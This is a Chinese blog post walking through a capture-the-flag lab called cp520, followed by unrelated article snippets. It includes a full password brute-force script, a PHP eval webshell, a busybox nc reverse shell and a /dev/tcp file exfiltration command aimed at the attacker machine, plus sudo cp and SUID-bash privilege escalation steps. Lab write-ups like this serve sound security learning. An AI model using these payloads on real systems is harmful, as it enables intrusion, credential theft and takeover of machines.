news 2026/5/21 3:37:04

cp520靶场学习笔记

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
cp520靶场学习笔记
    • 正文
      • 1、端口扫描
      • 2、web登录页面用户密码爆破
      • 3、文件上传漏洞利用
      • 4、nc 反弹
      • 5、Linux用户检索与特权分析
      • 6、图片隐写
      • 7、解密与格式转换
      • 8、cp命令横向获取用户密码
      • 9、diff命令进行文件比较

正文

kali攻击机地址:192.168.1.4
靶场地址:192.168.1.15

1、端口扫描

在kali里,使用nmap工具:

nmap-sV-v-T4-A192.168.1.15


发现80和22端口开放,访问网页:

2、web登录页面用户密码爆破

抓包发现不填验证码,输入用户名和密码,也能返回“无效的用户名和密码”:

编写密码爆破脚本1.py:

importrequestsimportrandomimportsysfromCrypto.PublicKeyimportRSAfromCrypto.CipherimportPKCS1_v1_5frombase64importb64encodefromtypingimportOptional,Dict# 全局会话,复用连接session=requests.Session()# 设置全局请求超时(秒)TIMEOUT=10# 目标登录URLLOGIN_URL="http://192.168.1.15/login.php"# RSA公钥(去除多余缩进,避免解析失败)PUBLIC_KEY="""-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtLlBu4KjqP4t7Bc6bf/2 1TrHJbKl5iGfAlxn/c1WxbjhA/BRoQNpGX7+8oROMarMDJnS2ddJBtpdAnovE3o+ NX45Eb1eTH9Isis/3mIXgVhuQ0Fhi11eo82hFQRXZOolJwfGqm7lL4r6OQJ96zur IodiC2uxcmR/+YDjrhZhMlUYG2/OTm1bROEg1FV9gARh27SA4/VLbBsst69wS8Wj m5fPQGd31QBN/8UvwyT/QCTpQdxV3PARXORVsdYLD+iNSrwwO/+cq6gNwthLxhbS he40vUae0GtJjpkD5xJhkRXGuoj/D3/cd4KytNeiGezIeLQr+AER6kf6B8vHoPfk eQIDAQAB -----END PUBLIC KEY-----"""defencrypt_password(password:str)->Optional[str]:""" RSA加密密码(兼容前端JSEncrypt的PKCS1_v1_5填充) :param password: 原始密码字符串 :return: 加密后的base64字符串,失败返回None """try:rsa_key=RSA.importKey(PUBLIC_KEY)cipher=PKCS1_v1_5.new(rsa_key)# 加密(需编码为bytes)encrypted_bytes=cipher.encrypt(password.encode("utf-8"))# base64编码并转回字符串returnb64encode(encrypted_bytes).decode("utf-8")exceptExceptionase:print(f"[!] 密码加密失败:{e}| 密码:{password}")returnNonedeflogin(username:str,password:str)->Optional[Dict]:""" 发送登录请求 :param username: 用户名 :param password: 原始密码 :return: 登录响应的JSON数据,失败返回None """# 加密密码enc_password=encrypt_password(password)ifnotenc_password:returnNone# 登录请求参数data={"username":username,"password":enc_password,"captcha":""# 若目标需验证码,需补充验证码识别/输入逻辑}try:# 发送POST请求(JSON格式)response=session.post(url=LOGIN_URL,json=data,timeout=TIMEOUT,headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36","Content-Type":"application/json"})# 检查响应状态码response.raise_for_status()returnresponse.json()exceptrequests.exceptions.Timeout:print(f"[!] 登录请求超时({TIMEOUT}秒) | 密码:{password}")exceptrequests.exceptions.ConnectionError:print(f"[!] 目标服务器连接失败 | 密码:{password}")exceptrequests.exceptions.HTTPErrorase:print(f"[!] HTTP请求错误:{e}| 密码:{password}")exceptExceptionase:print(f"[!] 登录请求异常:{e}| 密码:{password}")returnNonedefbrute_force_login(username:str,pass_file_path:str)->None:""" 密码爆破主逻辑 :param username: 目标用户名 :param pass_file_path: 密码字典文件路径 """# 读取密码字典try:withopen(pass_file_path,"r",encoding="utf-8")asf:passwords=[line.strip()forlineinfifline.strip()]exceptFileNotFoundError:print(f"[!] 密码文件不存在:{pass_file_path}")sys.exit(1)exceptPermissionError:print(f"[!] 无权限读取密码文件:{pass_file_path}")sys.exit(1)exceptExceptionase:print(f"[!] 读取密码文件异常:{e}")sys.exit(1)total=len(passwords)iftotal==0:print("[!] 密码字典为空")sys.exit(1)print(f"[*] 开始密码爆破 | 用户名:{username}| 密码总数:{total}")print("-"*50)# 遍历密码爆破foridx,passwordinenumerate(passwords,1):print(f"[{idx}/{total}] 尝试密码:{password}",end=" ")result=login(username,password)ifnotresult:print("→ 请求失败")continue# 登录成功判断(根据实际响应调整success字段)ifresult.get("success"):print("\n"+"="*50)print(f"[+] 爆破成功!用户名:{username}| 密码:{password}")print("="*50)# 可在此处添加后续操作(如访问后台、保存结果等)sys.exit(0)else:error_msg=result.get("error","未知错误")print(f"→ 登录失败:{error_msg}")# 爆破完成未找到密码print("-"*50)print("[!] 密码爆破完成,未找到有效密码")if__name__=="__main__":# 命令行参数校验(用法:python 1.py <用户名> <密码字典路径>)iflen(sys.argv)!=3:print("用法:python {} <用户名> <密码字典文件路径>".format(sys.argv[0]))print("示例:python {} admin pass.txt".format(sys.argv[0]))sys.exit(1)# 获取命令行参数target_username=sys.argv[1]target_pass_file=sys.argv[2]# 执行爆破brute_force_login(target_username,target_pass_file)

拿到admin用户密码:justine

3、文件上传漏洞利用

登录进去后是个文件上传:

目录扫描能扫出来文件上传的路径:

dirsearch-u192.168.1.15


上传一句话木马文件到/uploads/目录下:

<?php @eval($_POST['x']);?>

4、nc 反弹

蚁键右键打开终端,输入:

busyboxnc192.168.1.44444-e/bin/bash

kail记得开启4444端口监听:

nc-lp4444

kali调整bash格式:

/usr/bin/script-qc/bin/bash /dev/null CTRL+Z stty raw -echo;fgreset xterm

5、Linux用户检索与特权分析

回到家目录,发现两个用户ihatemathilovelinux

从根目录开始,查找所有 “所属用户组是 ihatemath”、 “所属用户组是 ilovelinux” 的文件或目录,同时忽略查找过程中出现的权限不足、文件不存在等错误提示:

find/-groupihatemath2>/dev/nullfind/-groupilovelinux2>/dev/null


将本地/var/local/images.jpg文件内容,通过TCP协议发送到 IP 为 192.168.1.4、端口为 1234 的远程主机上。

cat/var/local/images.jpg>/dev/tcp/192.168.1.4/1234

kail配置:

nc-lvp1234>images.jpg# 用nc监听,接收数据并写入文件# 若无nc,也可通过bash监听:cat > received_images.jpg < /dev/tcp/0.0.0.0/1234

6、图片隐写

查看图片隐藏属性:

exiftool images.jpg

发现摩斯码:

7、解密与格式转换

解码后发现还要转HEX:

转换后,拿到ilovelinux用户的hash密码48415050595f445241474f4e5f424f41545f464553544956414c

sshilovelinux@192.168.1.15#然后输入密码

查看ilovelinux用户的特权操作:

输出内容含义
Matching Defaults entries for ilovelinux on cp520:开始展示ilovelinux用户在cp520主机上的 sudo 默认配置
env_reset, mail_badpass, secure_path=...sudo 默认配置项:

-env_reset:执行 sudo 命令时重置环境变量,保证安全

-mail_badpass:密码错误时发送邮件提醒(通常给 root)

-secure_path:sudo 执行命令时的默认 PATH 路径(限定命令查找范围,防止恶意脚本)
User ilovelinux may run the following commands on cp520:核心结果:明确ilovelinux用户在cp520主机上可执行的 sudo 命令
(ihatemath) /bin/cp授权详情(最关键):

-(ihatemath):可切换到ihatemath用户身份执行(括号内是允许切换的用户,若为(ALL)则可切换到任意用户)

-/bin/cp:仅允许执行/bin/cp命令(Linux 系统的文件复制命令)

8、cp命令横向获取用户密码

那就执行复制命令,拿到ihatemath用户的口令3c5611f0ae3f

touch/tmp/achmod777/tmp/als-l/tmp/asudo-uihatemath /bin/cp /opt/ihatemath.pass /tmp/acat/tmp/a

命令 / 输出内容含义与核心目的
touch /tmp/a核心操作:在/tmp目录创建空文件a

✨ 目的:为后续复制敏感文件内容做 “载体”(/tmp是所有用户可读写的公共目录)。
chmod 777 /tmp/a核心操作:修改/tmp/a的权限为777(所有用户可读、可写、可执行)。

✨ 目的:确保ihatemath用户(后续执行cp的身份)能向这个文件写入内容,避免权限不足。
ls -l /tmp/a验证操作:查看/tmp/a的权限和属性。

输出解读:

--rwxrwxrwx:权限为 777(所有人可读写执行);

-1 ilovelinux ilovelinux:文件属主 / 属组是ilovelinux

-0:文件大小为 0(空文件);

✨ 目的:确认权限修改成功,为后续复制铺路。
sudo -u ihatemath /bin/cp /opt/ihatemath.pass /tmp/a核心利用:以ihatemath用户身份执行授权的/bin/cp命令,将/opt/ihatemath.passilovelinux无权限直接读取的敏感文件)复制到/tmp/a

✨ 关键:ilovelinux本身读不了/opt/ihatemath.pass,但能通过sudo切换到ihatemath执行cp,间接获取文件内容。
cat /tmp/a读取结果:查看/tmp/a的内容,输出3c5611f0ae3f(大概率是ihatemath的密码哈希 / 明文密码)。

✨ 目的:通过可读写的/tmp/a,拿到原本无权限访问的敏感文件内容。

su -成功切换到ihatemath用户:

查看ihatemath用户的特权操作,并执行:

9、diff命令进行文件比较

通过以下命令拿到root目录下的flag:

diffwhatsthis /bin/bash ./whatsthis-pcd/root

命令 / 输出内容含义与核心目的
diff whatsthis /bin/bashdiff命令对比whatsthis和系统原生/bin/bash

✨ 无任何输出,说明两个文件二进制内容完全一致whatsthisbash的完整副本。
./whatsthis -p执行当前目录下的whatsthis文件,并传入-p参数。

-pbash的特权模式参数,作用是:即使进程的有效用户 ID(EUID)与实际用户 ID(UID)不一致,也不重置环境变量、不降低权限,保留特权。
cd /ro执行./whatsthis -p后,提示符从$变成了#,说明你已经获得了root 权限#是 root 用户的提示符)。

后面的cd /ro是输入到一半的命令,大概率是cd /root(切换到 root 家目录)。
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/21 3:36:04

手把手教你用ProgISP和USBASP,给老旧Arduino开发板‘续命’升级Bootloader

用USBASP为老旧Arduino开发板重焕生机的完整指南 当你的Arduino开发板开始出现上传失败、响应迟缓或功能异常时&#xff0c;很可能是因为Bootloader固件老化或损坏。本文将详细介绍如何用成本不到20元的USBASP下载器和ProgISP软件&#xff0c;为基于ATmega328P的老款Arduino开发…

作者头像 李华
网站建设 2026/5/21 3:31:16

脉冲神经网络与测试时自适应技术解析

1. 脉冲神经网络与测试时自适应概述脉冲神经网络&#xff08;Spiking Neural Networks, SNNs&#xff09;作为第三代神经网络模型&#xff0c;其核心在于模拟生物神经元的脉冲发放机制。与传统人工神经网络不同&#xff0c;SNN中的神经元仅在膜电位达到特定阈值时才产生脉冲信号…

作者头像 李华
网站建设 2026/5/21 3:31:14

三大场景、四家厂商:深信服托管云与华为云、阿里云、腾讯云怎么选

一、结论速览对于公司内部业务上云&#xff0c;深信服托管云是值得首选的方向。在制造业生产业务承载、混合云统一管控、安全算力合规保障三大核心场景中&#xff0c;深信服托管云分别交出了对应的业务答卷。凭借“最安全的云”“最适合内部业务的云”“服务最好的云”三大品牌…

作者头像 李华
网站建设 2026/5/21 3:27:06

构建AI应用时如何借助Taotoken实现模型的灵活选型与降级

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 构建AI应用时如何借助Taotoken实现模型的灵活选型与降级 对于正在开发AI应用的产品团队而言&#xff0c;模型服务的稳定性和成本效…

作者头像 李华